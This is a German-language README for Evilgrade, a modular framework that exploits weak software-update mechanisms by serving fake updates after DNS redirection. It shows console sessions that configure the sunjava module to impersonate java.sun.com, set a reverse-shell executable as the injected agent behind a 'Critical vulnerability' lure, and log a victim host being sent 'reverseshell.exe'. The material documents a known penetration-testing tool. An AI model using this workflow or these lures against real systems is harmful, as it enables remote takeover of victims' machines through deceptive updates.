infobyte/evilgradeEvilgrade ist ein modulares Framework, das es dem Benutzer ermöglicht, schlechte Upgrade-Implementierungen auszunutzen, indem er gefälschte Updates einschleust.
Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --
Evilgrade ist ein modulares Framework, das es dem Benutzer ermöglicht, schlechte Update-Implementierungen durch das Einschleusen von gefälschten Updates auszunutzen. Es enthält vorgefertigte Binärdateien (Agents), eine funktionierende Standardkonfiguration für schnelle Pentests und verfügt über eigene WebServer- und DNSServer-Module. Einfach einzurichten und verfügt über eine Autokonfiguration, wenn neue binäre Agents erstellt werden.
Dieses Framework kommt zum Einsatz, wenn der Angreifer Hostnamen-Umleitungen durchführen kann (Manipulation des DNS-Verkehrs des Opfers), und dies kann in 2 Szenarien erfolgen:
Evilgrade arbeitet mit Modulen; in jedem Modul gibt es eine implementierte Struktur, die benötigt wird, um ein gefälschtes Update für eine bestimmte Anwendung/ein bestimmtes System zu emulieren.
ISR-Evilgrade ist plattformunabhängig, es hängt nur davon ab, einen geeigneten Payload für die richtige Zielplattform zu haben, die ausgenutzt werden soll.
Es funktioniert ähnlich wie eine IOS-Konsole.``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available
Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.
## Liste der implementierten Module``` console
evilgrade>show modules
List of modules:
===============
...
...
...
- 63 modules available.
evilgrade>conf sunjava evilgrade(sunjava)>
#### Zeige alle VirtualHosts an.
#### Das VirtualHost-Feld enthält die Domains, die unser Webserver für uns emulieren wird.``` console
evilgrade>show vhosts
Virtual hosts:
=============
[
"java.sun.com",
"javadl-esd.sun.com",
...
...
...
]
evilgrade(sunjava)>show options
Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"
.-------------------------------------------------------------------------------------------------------------------------. | Name | Default | Description | +--------------+-------------------------------------------------+--------------------------------------------------------+ | website | http://java.com/moreinfolink | Website displayed in the update | | enable | 1 | Status | | atitle | Critical vulnerability | Title name to be displayed in the systray item popup | | arg | | Arg passed to Agent | | adescription | This critical update fix internal vulnerability | Description to be displayed in the systray item popup | | description | This critical update fix internal vulnerability | Description to be displayed during the update | | agent | ./agent/reverseshellsign.exe | Agent to inject | | title | Critical update | Title name displayed in the update | '--------------+-------------------------------------------------+--------------------------------------------------------'
#### Dienste starten (DNS Server und WebServer)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...
#### Waiting for victims
evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"
evilgrade>show status Webserver (pid 4134) already running
.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'
## .:: [TIEFE VERWENDUNG] :::.
### Befehle
#### configure / conf - Konfigurieren <Modulname>